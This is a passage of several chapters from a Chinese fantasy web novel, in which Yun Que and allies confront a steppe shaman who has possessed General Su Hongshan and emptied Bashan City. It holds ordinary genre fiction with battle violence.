几位少监谁也没言语。 谈不上害怕,而是这种事司天监从来没经历过。 五司各司其职,捕风司打探情报,骁战司处理妖物案件,阴阳司管理鬼魅事件,修葺司维护法阵,寻灵司专门寻找各种灵材。 五司当中,没一个与战争有关的。 见没人开口,花不谢也有些为难,不仅别人没经验,她这位监正四弟子一样没经验。 沉默的气氛中,有人开口道: “斩妖司愿走一趟八山城。” 众人纷纷侧目,望向说话的云缺。 云缺不吭声的时候,人们都忘了司天监新成立了一司。 花不谢皱眉道:“斩妖司,招够了人手么?” “有两个,正干活呢,陛下说协助策应,又没让我们攻城略地,我自己就够了。”云缺说罢起身准备出发。 不管别人去不去八山城,他肯定是要去的。 牧青瑶生死不明,云缺哪能坐得住。 花不谢点头道:“好,我跟你一起去。” 司天监只出一个人,肯定是不行的,摆明了敷衍皇帝,无论结果如何难逃责罚,花不谢决定一起出发。 “还是我去吧,四师姐留下看家。”司徒盼晴捧着一小袋零嘴,吃得正欢。 花不谢犹豫了一下,道: “也好,师妹此行一定小心,在八山城里看到吃的千万别贪嘴。” 一听这话,云缺不干了。彡彡訁凊 从花不谢的叮嘱语气都能听得出来,司徒盼晴这丫头走到哪吃到哪,简直一饭桶。 “还是花大人去吧,司徒大人整天吃不饱,没什么力气,真要两军开战,我可保不住她。”云缺道。 “谁要你保!我厉害着呢!”司徒盼晴撇着小嘴道。 花不谢看了眼云缺,只说了简单一句话: “五师妹的修为,在我之上。” 云缺听完很是诧异。 花不谢是六品儒修,这么说,司徒盼晴是五品高手? 重新打量了一番眼前这个贪吃的小丫头,云缺实在看不出对方有什么高手风范。 扔到街上,就是个普普通通的贪吃女孩,谁能想到这位居然有五品修为。 定下人选后,两人立即动身,与金吾卫汇合。 禁军本就驻扎在皇城,调动起来十分迅速,不出一个时辰已经开拔出城。 城门口,云缺见到了白厌。 打过招呼后,白厌的神色有些不对,尤其看向司徒盼晴的时候,眼神里含着一种无奈之色。 不用问,云缺从白厌的表情里看得出来,司徒盼晴这家伙肯定不太靠谱。 反正司天监里就没几个靠谱的,云缺已经见怪不怪了。 远处赶来一群官兵。 以陈洲骅为首,全是刑部的人。 到了近前,陈洲骅凝重的道: “云大人刚到司天监,肯定没多少人手可用,我们刑部的兄弟任你调遣!” 跟在陈洲骅旁边的吴鹰道:“咱们刑部虽然最近散乱了些,战力还在,不比禁军差多少,云大人一句话,兄弟们愿意随你出征!” “对!只要云大人下令,咱们刑部就去八山城拼命!” “刑部的人没有孬种!” 一众刑部令史高声呼喝,这些人全都背着刀剑而来,准备好了厮杀。 云缺有些感慨。 刑部的都是武夫,而武夫的感情往往最为纯粹。 朝着陈洲骅吴鹰等人拱了拱手,云缺道: “谢过诸位前来相助,这次有禁军出征,人手足够,不劳烦诸位了,大家的心意我领了。” 陈洲骅只好作罢,道: “云大人务必小心,苏鸿山的战力可是出了名的,对上他很危险。” 云缺道:“放心,我主要是去劝降,动手的话有白厌将军,司天监只砍妖,很少砍人。” 陈洲骅道:“有用得着的地方,尽管开口!” 吴鹰笑道:“云大人的威望,在刑部可是数一数二的,今后无论云大人做了什么官儿,咱们刑部的兄弟随叫随到!” 云缺谢过众人后,随着禁军出发。 从天祈皇城到八山城的路程不算远,黄昏时分已然抵达。 十万金吾卫陈兵城外,杀气腾腾。 云梯飞爪,攻城器械一样不少。 随军而行的,还有百门火炮。 在大晋,军方的杀器除了单兵使用的重弩之外,更具杀伤力的要数火炮了。 一门火炮的威力,足以轰杀一名七品武者,若没有防御手段,六品武夫也不敢硬抗。 火炮是真正的兵家重器,如果数量足够多的情况下,足以灭杀大批修士。 但火炮有个弊端。 臃肿沉重,运输不便,大多情况下被安置在城头用来防御。 八山城的城头,就有火炮,所以白厌此次出征,特意带了一百门,以防万一。 大雪仍在下。 没有半点停息的迹象。 出了天祈城还是红白相间,到了八山城脚下,便成了完全的红雪。 天地间一片殷红,仿佛到了另一个世界。 望着不远处的巨城,云缺渐渐锁起眉峰。 太静了。 八山城的城头黑漆漆一片,没有半点声音,好像这座城已经死了,屹立在死域之中。 这不正常。 如果苏鸿山反叛,必定会在城头布置重兵,防备皇帝出兵征讨。 “白将军,有何看法。”云缺道。 “城池乃兵家必争之地,占据一座城,即可占据地利,若兵将数量相当,攻城一方永远处于下风。” 白厌声音低沉的说完,望向空荡荡的城头,道:“城头不置一兵一卒,绝不正常,其中必定有诈。” 随着白厌的声音,对面传来嘎吱吱的机括响动。 八山城的城门,缓缓开启。 白厌的目光瞬间凝重下来,眼眸里寒光闪烁,死死盯着洞开的城门。 城门后没有人。 城门自行开启,昏暗的街头空荡荡,只有红雪不断飘落。 空城! 司徒盼晴吃光了零嘴儿,眨着大眼睛道:“我听过戏,有一幕叫空城计,咱们是不是也遇到空城计了?” 白厌缓缓摇头,道: “空城之计,其根本是用来吓退外敌,而不失去城池,达到兵不血刃又能以少胜多的效果,乃兵道奇谋,但八山城不可能用得上空城计,城里数十万百姓,十余万守军,数量清清楚楚。” “那就是请君入瓮了。”云缺望着城门道:“人家这是请我们进去呢。” 白厌沉吟了稍许,沉声道出二字: “诡局……” 身为金吾卫指挥使,白厌的儒将之称并非空穴来风,他之前是边军一名校尉,一步步以出色的战绩爬到将军之位,是名副其实的身经百战。 但如今的局面,白厌只能以诡局称之。 没有殊死抵抗,也没有两军大战,只有一座空荡荡的红雪之城,摆在众人面前。 白厌随之下令。 派遣五百名金吾卫,分成十队,每队五十人,进城后分散搜索,查清敌人的踪迹。 不弄清楚八山城的现状,白厌不会轻易率领十万禁军进城,有可能被人来个关门打狗。 苏鸿山别看是个武夫,但人家可是将军,排兵布阵样样精通。 白厌此行,从未小觑过苏鸿山半分,所以他十分谨慎。 云缺也没什么好办法,只能等着禁军小队带回消息。 这一等,就是半个时辰。 白厌稳重的神色,随着时间流逝渐渐阴沉下来。 十队禁军临行前,白厌已经下了军令,无论在城中有没有线索,半个时辰之内必须派人回来送信。 现在时间已到,却没人出来。 “进去的人,应该回不来了,这座城,有古怪。” 云缺紧锁双眉。 他想起昨晚埋姜熵尸体之时,在城外看到八山城方向出现的巨大光环。 将这个线索道出后,白厌没说话呢,司徒盼晴显得很感兴趣的追问。 “什么样的光环?有没有符文存在?” 云缺道:“太远了,看不清,光环一闪即逝,很快消失,我当时以为有人放烟花,没太在意。” “应该是法阵运转时的气机外溢,八山城里被人布下了大阵。”司徒盼晴判断道。 白厌疑惑道: “苏鸿山身为武夫,不可能会布阵,他手下也没有阵道高手存在。” 云缺盯着城门后空荡荡的街头,沉声道: “也许不是苏鸿山,搞鬼的另有其人……” 白厌也觉得事态愈发诡异,点头赞同云缺的猜测。 司徒盼晴等得不耐烦,掐动出一个法诀道: “我来瞧瞧,到底是谁在八山城装神弄鬼!天眼术” 随着司徒盼晴的施法,在城墙上方的高空处,一片光影闪烁,浮现出一颗硕大的眼球。 硕大的眼球缓缓转动,望向城内,与司徒盼晴眼睛里的眼球转动得一般无二。 云缺看着头顶的眼球,觉得十分新奇。 有这么大的眼珠子,想要看什么就能一览无余啊。 硕大的眼球刚出现不久,还没等司徒盼晴看清城内情况,她忽然大叫了一声。 “啊!我的眼睛!” 第192章 云大人很害怕 半空中的眼球,突然遍布起密密麻麻的红线,好似被无数利刃穿透。 下一刻眼球伴着气浪炸裂开来。 司徒盼晴捂着双眼痛苦不堪,蹲在地上直流眼泪。 天眼术遭遇了可怕的反噬,施法者双目受损。 云缺急忙过去查看。 掰开司徒盼晴的双手,看到对方的眼睛变得白蒙蒙一片,好似铺上了一层白雪,看不到黑眼球儿。 “瞎了?”云缺吃惊道。 “呜呜呜!哇!!!” 司徒盼晴坐在地上大哭起来,像个被欺负了的孩子,加上她外表本就很小,显得十分可怜。 云缺很是无奈。 司天监就来俩人,这还没进城呢,先废一个。 不是五品高手么,这么弱呢? 云缺正想着安慰一番,司徒盼晴一下跳了起来,抹了把不知是鼻涕还是眼泪的东西,怒吼着冲向城门。 “戳我眼睛!我跟你拼了!” 司徒盼晴像一只炸毛的小猫,张牙舞爪往城门里冲。 云缺哪能让她闯进去。 城里肯定有埋伏,眼睛没了还能活,脑袋没了就死翘翘了。 云缺的速度比司徒盼晴快得多,对方刚冲出两步,便被云缺一把抓住脖领子,轻而易举给拎了起来。 司徒盼晴不依不饶,手刨脚蹬,又是怒吼又是大骂,在原地胡乱挣扎。 反正折腾了半晌,一步也没迈出去。 拎着司徒盼晴,云缺的脸上浮现出疑色。 太轻了! 司徒盼晴比自己矮了一个头,外表十多岁的模样,正常情况下,这么高的女孩,少说也得五十斤左右。 可云缺手里的重量,多说十斤! 一个十来岁的小姑娘,身体正常的情况下,不可能这么轻。 怎么回事? 难道修炼了什么特殊法门? 云缺心中不解,等司徒盼晴折腾够了,将其放在地面。 云缺道: “白将军受累,派人把司徒大人送回司天监治疗。” 白厌点头称好,点手唤来两名禁军。 “用不着!我没事,法术反噬而已,过几天即可恢复。” 司徒盼晴怒冲冲摘下系头发的一条缎带,将双眼缠住。 既然人家说没有大碍,云缺不在多虑。 没瞎就好,要不然吕青肯定得过问。 “不回去也行,你在外面等着,眼神儿不好别乱走。”云缺道。 “不用眼睛我一样能看到路!”司徒盼晴气呼呼的掐腰道:“我的灵识感知比你看得还远!” 旁边的白厌解释道: “金丹境的灵识,确实能感知很远,一些看不到的危险也能轻易察觉。” 听闻金丹二字,云缺终于知道了司徒盼晴的境界。 道门修士,五品金丹境! 随后云缺暗暗震惊。 并非震惊司徒盼晴的修为,而是震惊着能瞬间破坏天眼术,并趁机反噬司徒盼晴的手段。 再次望向城内空荡荡的街头,云缺心里浮现出一个预感。 八山城内,存在着神秘的强敌。 “不是苏鸿山,这下棘手了。” 白厌的神色变得无比凝重。 他与云缺一样,猜测到八山城里有着巨大的凶险。 “敌明我暗,白将军认为下一步该怎么办。”云缺道。 “必须探明究竟,大军不可贸然进城。”白厌道。 “之前的五百禁军没出来,再派遣人手,估计一样出不来,消耗下去,对我们更加不利。”云缺道。 第194章 帝王之相 八山城一角,有一棵高高的柳树,细密的柳枝随风轻摆。 已是寒冬,这棵树却郁郁葱葱,一片片树叶翠绿无瑕。 树下,坐着两位老者。 一位是首辅周史伯,另一位是来自草原的合萨。 周史伯身后站着牧青瑶与青禾,合萨身后站着头发卷曲的少年。 两位老者之间,隔着几十个小土包儿,有的土包上插着树枝,有的土包上摆着树叶。 虽然是普通的土包,但在聪明人的眼里,其实代表着一座座城池。 这些土包,便是一座沙盘,对弈的双方是大晋与草原! 来自草原的老者拿起五块小石子,摆在一个小土包上。 “五万草原大军进驻八山城,不知首辅有何破解之法。”合萨面带微笑道。 周史伯始终皱着眉,望着面前几十个小土包,道: “黑铁城地势险峻,占据天险,草原大军想要抵达八山城,不把黑铁城摧毁,很难做到。” “确实很难,黑铁城的位置真好啊,扼守住草原与大晋之间,阜南王果然是个奇才,老夫既然来了,难题便可迎刃而解,接下来,该首辅应对了。”合萨微笑道。 周史伯沉吟良久,拿起十块小石子,分别摆在代表八山城的小土包近前,呈合围之势。 “十万禁军兵临城下。” 说罢周史伯又从代表八山城的小土包后侧挑出十个小石子,围在小土包后面,道:“百玉城,北安城,落阳城各自抽调五万人马,集十五万大军封锁八山城后路,形成夹击之势,二十五万大军足以困死五万草原人。” “是个法子,不过,老夫带来的五万勇士,绝非普通军兵可比,以一敌十不在话下,五万可抵你五十万,据城而守,你需要至少翻倍的人马才有机会获胜。” 合萨呵呵笑道:“不知首辅在短期之内,能否调集百万大军呢。” 周史伯的神色变得凝重起来,呢喃道: “血蛮……” 当初草原别吉入皇城,那草原勇士爆发出的战力,周史伯至今难忘。 血蛮两个字,也是从那时候开始,便深深刻在周史伯的心头,如一根刺,无法剔除。 沉默了良久,周史伯道: “朱邪部倾巢而出,就不怕阜南王一鼓作气,灭了你们的老巢。” “不怕,朱邪部有十万血蛮,五万进攻,五万防守,阜南王的铁骑再强,也走不到草原深处。”合萨微笑道。 周史伯不再开口,眉峰紧锁。 五万血蛮的战力,不亚于五十万大军,甚至更强,正如对方所言,如果占据了八山城的话,大晋一方需要五十万大军与其抗衡,攻城的话,这个数量还要翻倍。 大晋有百万大军。 但需要时间集结,单单天祈城里的禁军与守军远远不够。 良久后,周史伯洒然一笑,道: “草原勇士战力无双,老夫见识过了,不知合萨有没有见识过大晋国师与监正的实力。” 周史伯搬出国师与监正,已经是最后手段,面对咄咄逼人的合萨,他其实早已落在下风。 “大晋国师,道门强者,一旦出手必定惊天动地,五万血蛮未必挡得住。” 合萨缓缓点头,道: “但老夫觉得,你们的国师未必忠于大晋,她忠于的,或许只有自己,或者说,是她自己的修为,据老夫所知,道门强者达到三品之后会迎来心魔大劫,硬抗的下场大多灰飞烟灭,需要外力助之,而国运,便是一种助力。” 周史伯的眼底浮现出一抹惊容。 对方说的不假,三品道门的巨大弊端,周史伯也有所耳闻。 这些年来,周史伯始终对国师的目的有所怀疑,如今被草原来的合萨点破,周史伯压在心底的这份担忧变得愈发沉重起来。 合萨笑着继续说道: “至于司天监的监正大人,老夫不太了解,听说也是位隐世高人,实力肯定强横无比,但老夫知道监正的一次往事,十五年前,晋皇入驻天祈城的当晚,便是监正开的城门,既然他能给碌碌无为的晋皇开门,为何不能给朱邪部武勇无双的大汗开门呢。” 一句话说完,周史伯的心里再多了一根刺。 这根刺,叫吕青! 十五年前的真相,罕为人知,恰巧,周史伯知道得清清楚楚! 身为首辅,哪能看不出皇帝的平庸。 哪能看不出大晋繁华的表现之下,隐藏着数不尽的汹涌暗流。 自从成为首辅,周史伯一直致力于打造一个强大的晋国。 他兢兢业业,劳劳碌碌,确实让晋国的实力在慢慢提升。 可有几个关键之处,任凭周史伯如何努力,也于事无补,无法改变半分。 这些关键之处,分别是国师,监正,还有皇帝。 国师的冷淡,监正的脱俗,皇帝的自负,如同三座大山,压得周史伯喘不过气来。 而这些关键点,又是大晋能否强大的核心所在。 无法改变,大晋就无法真正的强大起来。 望着眼前的一个个小土包,周史伯仿佛看到了被草原人取下的一座座城池,一时间沉默无语。 周史伯毕竟是文官,战场上的排兵布阵,他并不精通。 在周史伯无计可施之际,身后传来灵芸郡主清脆的声音。 “无需国师与监正,草原的五万大军若敢踏进八山城,下场只有死路一条。” 牧青瑶面色如常,哪怕身陷危局,依然稳重。 她旁边的青禾自始至终没看沙盘一眼,而是一直盯着不远处的巨大柳树,瘦削的身体仿佛随时会爆发出恐怖的威能。 合萨抬起头,铺满白翳的双眼望向传出声音的方位,笑道: “久闻灵芸郡主才智双全,你来说说看,如何破我的五万血蛮大军。” “很简单,一个字即可,困!” 牧青瑶走上前,拾起两根枯枝,分别摆在代表八山城的土包两侧,道: “如首辅所言,大晋只需二十五万人马即可,不必增兵一人,出兵之际携带数百门火炮,守住八山城两侧即可,无需攻城,血蛮虽强,依然是血肉之躯,胆敢出城,在火炮之下一样会灰飞烟灭。” 牧青瑶站在周史伯身旁,一袭白裙一尘不染,微微扬起脖颈,清丽的面孔带着怒意道: “合萨这步棋走得太险,也太急了,你不该杀掉所有百姓,八山城的百姓是一份筹码,如果你握在手里,大晋一定会多一份忌惮,多一份顾虑。” “既然八山城再无活人,草原大军若敢来,便会活活困死在城中,粮草用尽之际,便是血蛮互食之时,落个惨死下场,不战而败!” “如果选择弃城而逃,你们会迎来火炮轰杀,五万血蛮必定伤亡惨重,所剩之人将成为流寇,被大晋军兵追杀至死!” “八山城之血仇,大晋不会忘,晋国的大军会越过黑铁城,踏平草原!杀我子民者,虽远必诛!” 第196章 铁锅炖大鹅 树下。 周史伯始终在盘坐,闭着双眼,在其身外,有一团莹莹不灭的流光存在。 流光形成了一个光罩,将牧青瑶与青禾笼罩其中。 流光之外,翠绿的树枝缠得密密麻麻,树枝上的柳叶犹如无数利刃,想要切开这份防御。 牧青瑶神色凝重的站在首辅身后,周身起伏着七品儒修的气息波动。 瘦削的青禾并肩站在牧青瑶身旁,脸上看不出表情,但其脚下却在渐渐印出两个脚印。 武者浑厚的气机始终在青禾脚下运转,这个看似普通的瘦削女人,随时会爆发出恐怖的力量。 三人对面,来自草原的合萨面带笑意,道: “首辅大人何必费力抵挡,老夫这座四方天门阵,耗费毕生心血所设,四阵合一,取四方之威,诛杀五品不在话下,以你六品儒家修为,加上郡主身旁的五品武者,毫无胜算可言,与其耗尽法力而亡,不如就此收手,死个痛快。” 周史伯有修为,并不太高,儒家六品立命境。 面对五阶树妖的围杀,他支撑得无比艰难,但这位当朝首辅毫无惧意,清明的双眸越来越亮。 “四方天门阵确实威力惊人,合萨屠戮数十万百姓的手笔更加惊人,我身为当朝首辅,保不住一方黎民已是失责,一身罪过,若保不住灵芸郡主,那这条老命,不要也罢!” 周史伯艰难的开口,语气浑厚有力:“修正其身以待天命,妖邪当道,浩气长存!” 随着周史伯的沉声低语,他身上起伏的气息愈发强横,犹如风暴深处的一点萤火。 虽小,却不灭! 牧青瑶的眼里泛着震撼之色。 同为儒家修士,小郡主十分清楚首辅所动用的力量。 不是法力,而是浩然之气! 浩然气,是儒家的本命元气,极为珍贵,唯有一身正气的大儒才有机会修出,威力算不得多大,却是邪祟之物的克星。 尤其鬼物,在浩然气之下顷刻间灰飞烟灭。 树妖虽然归属于精怪,算妖邪,一样被浩然气所克制。 牧青瑶没想到,年近古稀的首辅,居然拥有着如此浑厚的浩然之气! 既然身陷死局,牧青瑶自然不肯坐以待毙,调动自身法力打算协助首辅一同防御。 青禾始终没动。 武者在这种法阵中极其被动,树妖的无数柳枝如同厚重的防御,能轻易将武者困住。 青禾在等待一个时机,一个能接近树干的机会。 否则贸然出手,她被困住没什么,金身境的肉身足以抗衡同阶妖兽,但郡主就危险了。 作为护卫,青禾常年伴随在阜南王身旁,她很清楚自己的任务是守护,若不能一击消弭危险,她宁可等到最后。 合萨对周史伯的浩然气大为赞赏,频频点头道: “好精纯的浩然气啊,看来首辅这一生始终手不释卷,难得,可惜你们逃不出去,除非有外力相助,否则此地便是你等的葬身之处。” 合萨抬起左手,做出个握拳的手势。 包裹住浩然气的无数柳枝立刻勒紧! 牧青瑶甚至能听到嘎吱吱的异响,就如同蛋壳表面缠满了细线,不断勒紧所产生的响动。 局面愈发凶险。 如果逃不出去,周史伯早晚会被耗尽力气。 正在这时,牧青瑶,周史伯,青禾,合萨与卷发少年兀良同时听到了一个声音。 轰!!!!! 一团刺眼的火光炸起。 火光过后,树妖庞大的树干上,直接被炸出了一个大洞! 刺耳的吱吱怪叫声中,树妖疯狂摆动,地面上如刀的柳叶纷纷缩回地底,回归树枝。 缠住几人的树枝也收回了大半。 随后牧青瑶看到了远处的身影。 云缺正扛着一门火炮,朝她招手。 小郡主紧张的神色,在看到云缺之后放松下来,同时被云缺肩扛火炮的古怪模样差点逗笑。 身为斩妖人,对付各种妖兽都要有不同的手段才行。 妖物分很多种。 有的皮糙肉厚,有的速度如风,有的尖牙利爪,有的狡猾阴险。 第197章 七品小武夫 苏鸿山的出现,给众人带来了更大的危机。 高大的黑马好似一头凶兽,鼻息如雷,马上的将军挥动起硕大的斩马刀,直劈而下! 一刀,斩出了一道狂暴的气浪! 地面随之开裂,伴着咔嚓嚓巨响,砖石横飞! 白厌身形快速晃动,一只手抓住周史伯,一只手抓住司徒盼晴,带着两人向左侧避开。 青禾带着牧青瑶飞快的朝着右侧闪避。 没人管云缺。 但云缺逃得更快,比青禾还要先一步躲到长街右边。 等苏鸿山的身影冲锋而过,长街上的青砖全部炸裂,两侧的屋舍纷纷坍塌开来。 高大的黑马在远处停住,缓缓调头。 苏鸿山再次举起重刀。 白厌忌惮道: “苏鸿山本就战力极强,加上草原合萨,五品境界难以抗衡。” 以白厌的眼力,看得出苏鸿山刚才那一刀,拥有了接近四品的威能! 周史伯沉声道: “附身之法难以持久,合萨施展的能力维持不了多久,只要能拖住,他必败无疑!” 白厌凝重道:“我尽力。” 司徒盼晴道:“我还有法力!戳我眼睛的家伙,不得好死!” 说罢司徒盼晴从兜里掏出个小布袋,打开往外一抛,扔出了一堆糖果。 这些糖果有着不同的形状,均为动物,有小老虎,有小鹰,有小象,有小鱼,看起来十分可爱。 糖果落地的瞬间,纷纷幻化成高大的轮廓,猛虎,巨象,苍鹰,巨鳄! 数十头巨兽出现在长街,嘶吼着冲向苏鸿山。 另一侧,牧青瑶朝着青禾点了点头。 青禾随之一跃而出,奔行间,身外出现一层青色盔甲,将其瘦削的身形尽数包裹,连头部都被重甲笼罩。 五品金身境武夫,若加上一层重甲,绝对是恐怖的战斗机器。 白厌更没闲着,弯弓搭箭,三箭齐发,全力施展出箭息术。 两位五品武者,一位道门五品金丹,三位高手联手之下,合战苏鸿山! 云缺拉着牧青瑶退到首辅旁边。 这种巅峰对决的场面,实在难得,云缺要好好观战。 至于帮忙,那是肯定不去的。 咱一个七品小武夫,得有自知之明,别给高手们添乱。 面对着三位强敌,苏鸿山凛然不惧,黑马第二次冲锋而出。 长街上刀光耀眼,箭气四溢,轰鸣不断,吼声连连。 巨象被一刀斩成两半,巨鳄的脑袋滚出老远,猛虎刚刚扑出就被肢解。 白厌的箭矢轰鸣而至,直奔苏鸿山咽喉,却被对方的重刀挡掉。 青禾在一侧飞身跃起,一记鞭腿扫出了炸雷之音,正中苏鸿山的肩膀。 巨力之下,苏鸿山的身体直接向一侧倾斜,眼看着掉下马去,又被他猛地正了过来。 这场恶战,从一开始就是搏命之战。 白厌时而放箭,时而近战,将五品修为施展到了极致。 青禾也毫无保留,每一脚扫出都带着风雷之力。 司徒盼晴拿出个小瓷瓶,往嘴里狂倒丹药,掐动法诀,施展出一连串的风属法术,风牢,风箭,暴风术,最后直接动用了威力最大的天雷术,一道碗口粗细的闪电,炸在苏鸿山头顶。 即便如此猛攻,仍旧拖不住苏鸿山,一群巨兽很快被斩杀一空。 三位五品高手,渐渐落在下风。 云缺在旁边看得十分专注。 白厌的对战手段,简直能用赏心悦目来形容,攻守兼备,一招一式都有章法可循。 另外两位就不那么好看了。 青禾闷头猛攻,像一头人形凶兽,加上一身盔甲,怎么看怎么像个不怕死的傀儡。 司徒盼晴更难看,一个法术用完,开始扔灵符,灵符扔完吃丹药,吃完丹药再大骂几句继续咬牙切齿施展法术,折腾了半天,威力倒是惊人,反正她自己站的地方是一步没动。 也就苏鸿山一人一马,再多个敌人很容易把她暗杀掉。 周史伯紧锁眉峰,见白厌几人落在劣势,他转头看了眼云缺,没等开口,就听云缺先吼了出来。 “我不行啊首辅!打不过!我才七品!七品小武夫!” 周史伯觉得耳朵嗡嗡作响。 知道云缺听不见声音,于是指了指自己,又指了指战场,示意自己要去帮忙。 随后周史伯拍了拍云缺肩膀,看向牧青瑶,意思是让云缺保护郡主。 这下云缺懂了,大吼道: “放心吧!我来保护郡主!首辅马到功成!” 说完拉着牧青瑶又往后退了好几步。 周史伯深吸一口气,一身长袍鼓荡开来,这位当朝首辅调动仅存的力量参战。 四人,联手大战苏鸿山! 有首辅的加入,仅仅能挽回稍许劣势,白厌几人仍被苏鸿山恐怖的力量压制着。 随着时间的流逝,苏鸿山劈斩长刀的动作明显变得迟缓下来,力量也有所下降。 云缺最先发现这一点。 周史伯之前的判断果然正确! 合萨与苏鸿山融为一体,相当于附身,借助了苏鸿山的力量,但附身无法持久这个弊端,一旦出现,便无法逆转。 合萨也发现了这一点。 他知道再战下去,自己必定落败,于是奋起一击,黑马狂奔而出,斩出了最强的一刀。 这一刀,合萨要杀掉一个最有威胁的目标。 当重刀爆发出惊人的刀气之际,白厌,青禾,司徒盼晴与周史伯纷纷全力防御,谁也不敢小觑半分。 四人都知道对方这一击肯定想要除掉一人,但让四人没想到的是,苏鸿山的重刀谁也没斩。 呼啸的黑马裹着狂风从白厌身旁掠过,没伤到四人中的任何一人。 确切的说,苏鸿山冲锋的方向根本就没对着四人。 白厌豁然回头,随后惊呼一声: “郡主!” 在苏鸿山举起的重刀前方,正是灵芸郡主! 周史伯瞬间明悟了过来。 对草原合萨来说,真正的威胁并非他这位首辅,也不是儒将白厌,更不是青禾与司徒盼晴,而是牧青瑶! 因为牧青瑶在战略上的聪慧,让合萨感受到了危险。 如果在这些人当中让合萨选一个必须除掉的目标,那首选必然是灵芸郡主! 周史伯惊呼道: “快逃!” 青禾沉默着爆发最快速度,往牧青瑶这边冲来。 但黑马速度太快,几人根本来不及回援。 云缺虽然听不到首辅喊什么,但他知道带着牧青瑶逃开是最好的办法。 面对被合萨附身的苏鸿山,力敌绝非上策。 但云缺逃不了。 牧青瑶更动弹不得! 两人脚下出现了一股恐怖的吸力,云缺还能勉强抬起脚,牧青瑶连挪动都做不到。 合萨在奇袭之前,已然动用了法术,将两人困在原地! 黑马转瞬即至,重刀高高扬起。 尚未落下,便有惊人的刀气扑面而来,吹得牧青瑶长发狂摆。 云缺眸光骤冷。 手心里浮现出刀柄。 既然躲不开,只能硬抗! 云缺如果动用妖力,勉强能挣脱束缚避开这一刀,但牧青瑶躲不开。 舍弃牧青瑶而自保,云缺可做不到。 就在苏鸿山的重刀即将斩落,云缺手里的妖刀即将浮现之际,意外出现。 苏鸿山泛着幽蓝光泽的双眼,忽然间蓝芒消散,现出了两颗遍布血丝的瞳孔。 在眼中幽蓝消散的同时,苏鸿山斩落的重刀改变了方向。 从劈斩,改为回斩! 咔嚓!! 一刀,苏鸿山卸掉了自己的左臂! 连着肩膀的完整左手,高高飞起,迸溅出一片鲜血。 黑马随之停在灵芸郡主面前。 “苏伯伯!” 牧青瑶大声呼唤,想要唤醒苏鸿山。 苏鸿山的瞳孔收缩了一下,最后看了眼面前的小郡主,眼眸里浮现出一丝无奈与悲凉。 幽蓝的光泽再次出现,遮蔽了苏鸿山的双眼。 合萨苍老的声音从苏鸿山口中发出: “不愧为大晋之虎将,能在老夫的控制下还有反抗之力,苏鸿山,老夫愿称你为五品之境的最强存在,可惜,你护得住郡主,却护不住大晋,今日,将星终究会陨落。” 此时青禾与白厌相继赶到,护在牧青瑶身前。 听闻合萨的话语,白厌剑眉一挑。 在大晋的将军之中,苏鸿山的战力绝对首屈一指,被誉为虎将,与他白厌这位儒将齐名。 然而今天,虎将成为了傀儡,一身战力,被敌人利用到极致。 苏鸿山汇聚起最后的神魂之力,挣脱了片刻束缚,斩落自己一臂。 至此,虎将完成了人生的最后一战,饮恨黄泉。 死得不值! 白厌渐渐愤怒起来。 身为儒将,白厌的修养极好,几乎没人见过他生气的样子。 但今天,白厌怒火中烧! 白厌沉声怒吼: “犯我国土,杀我将军,屠我百姓!不管你是朱邪部也好,红莲教也罢,此仇必报!” 低吼中,白厌弯弓搭箭。 青禾也弯下腰,即将暴起而战。 这时合萨忽然做出个奇怪的举动,竟调转马头,朝着城外疾驰而去。 “你走不掉!” 白厌一箭发出,炸起刺耳的鸣音,正中苏鸿山的后心。 黑马的速度丝毫不减,越来越远。 在马蹄轰鸣声中,八山城的地底爬出了一个又一个身影。 全都穿着盔甲,手持兵刃。 这些人,都是八山城的守军,苏鸿山曾经的手下。 足有数千人之多! 全是尸体! 爬出地底后,尸体集结在黑马之后,跟着苏鸿山冲出了八山城。 “城外有十万禁军,他们逃不掉。” 白厌沉声道:“我们出城!” 几人冲向城外。 没等到城门,就听到城外乱成一片。 苏鸿山带着数千尸体,冲击十万禁军! “不对!合萨既然敢孤身前来,绝不会轻易逃走。” 周史伯始终皱着眉,忽然神色一变,道:“不退反进,合萨要去天祈城!必须拦住他!” 以苏鸿山表现出的恐怖战力,虽然断了一臂,若冲进天祈,绝对是一场灾难,单独的五品根本拦不住,一旦冲进皇宫,后果不堪设想。 白厌立刻一声呼哨,他的宝马刺白从城门冲了进来。 白厌翻身上马,载上首辅。 司徒盼晴祭出一件小巧的飞行法器。 由于法器太小,至多能承载两人,牧青瑶让青禾协助首辅追上去,于是青禾跳上了司徒盼晴的飞行法器。 白马与飞行法器相继冲出城门,追向苏鸿山。 云缺和牧青瑶步行走向城外。 云缺也有飞行法器,但太费钱,这么点路,走着又不费事,何况出了城就是禁军的大队人马,有马又有车的。 本就没多远的距离,两人很快来到城门口。 正要出城,云缺的脚步忽然一顿。 城门下,出现一道身影,是个头发卷曲的少年,面孔青涩,眼睛很大。 云缺目光一沉。 这个人,他在炮轰树妖的时候见过,曾经站在合萨身后,后来不知所踪。 “他谁啊!”云缺大声询问牧青瑶。 “合萨的弟子。”牧青瑶声音很轻,目光变得凝重下来。 云缺听不见,不过看得见。 只见对面的卷发少年,抬手一招,厚重的城门随之轰鸣落下。 云缺与牧青瑶两人,被隔在了八山城内。 第199章 第二轮血月 八山城外。 当白厌与首辅几人追出来的时候,看到的是一片惨烈景象。 十万禁军的队列直接被撕开了一个豁口,苏鸿山的黑马犹如一道旋风般冲向天祈城的方向。 在黑马之后,数千具活尸手脚着地快速跟随。 十万金吾卫,没能挡得住片刻。 周史伯当机立断,下令道: “合萨与苏鸿山融合,战力超过五品,他有能力破开天祈城的城门,立刻发回消息告知陛下,我们追上去,把他拖在皇城之外!” 白厌不敢怠慢,动用军中的传讯手段通知天祈城,随后率领禁军狂追不舍。 禁军的速度不行,很快被甩开。 唯有白厌的宝马与司徒盼晴的飞行法器才能跟上苏鸿山的速度。 但始终追不上。 “旋风驹的速度超过了七阶妖兽,足有六阶程度,合萨不仅控制了苏鸿山,连马也没放过,我的刺白追不上他。”白厌沉声道。 周史伯抬头朝着司徒盼晴喊道: “用法术阻拦苏鸿山!” 司徒盼晴强撑着施展风牢法术,很快在黑马与活尸前方刮起一阵飓风。 由于法力几乎耗尽,司徒盼晴的这道法术显然无法达到太好的效果,仅仅阻挡了片刻,黑马就冲出了狂风。 数千活尸倒是被困住不少,只有一少半冲了出去。 见苏鸿山继续冲向皇城,周史伯实在没了办法。 飞行法器很难追得上,青禾这份战力几乎失去用处。 “我来拦他!” 白厌说话间弯弓搭箭,一连三箭齐发。 箭息术的距离极远,三道箭矢带着破空声冲向黑马。 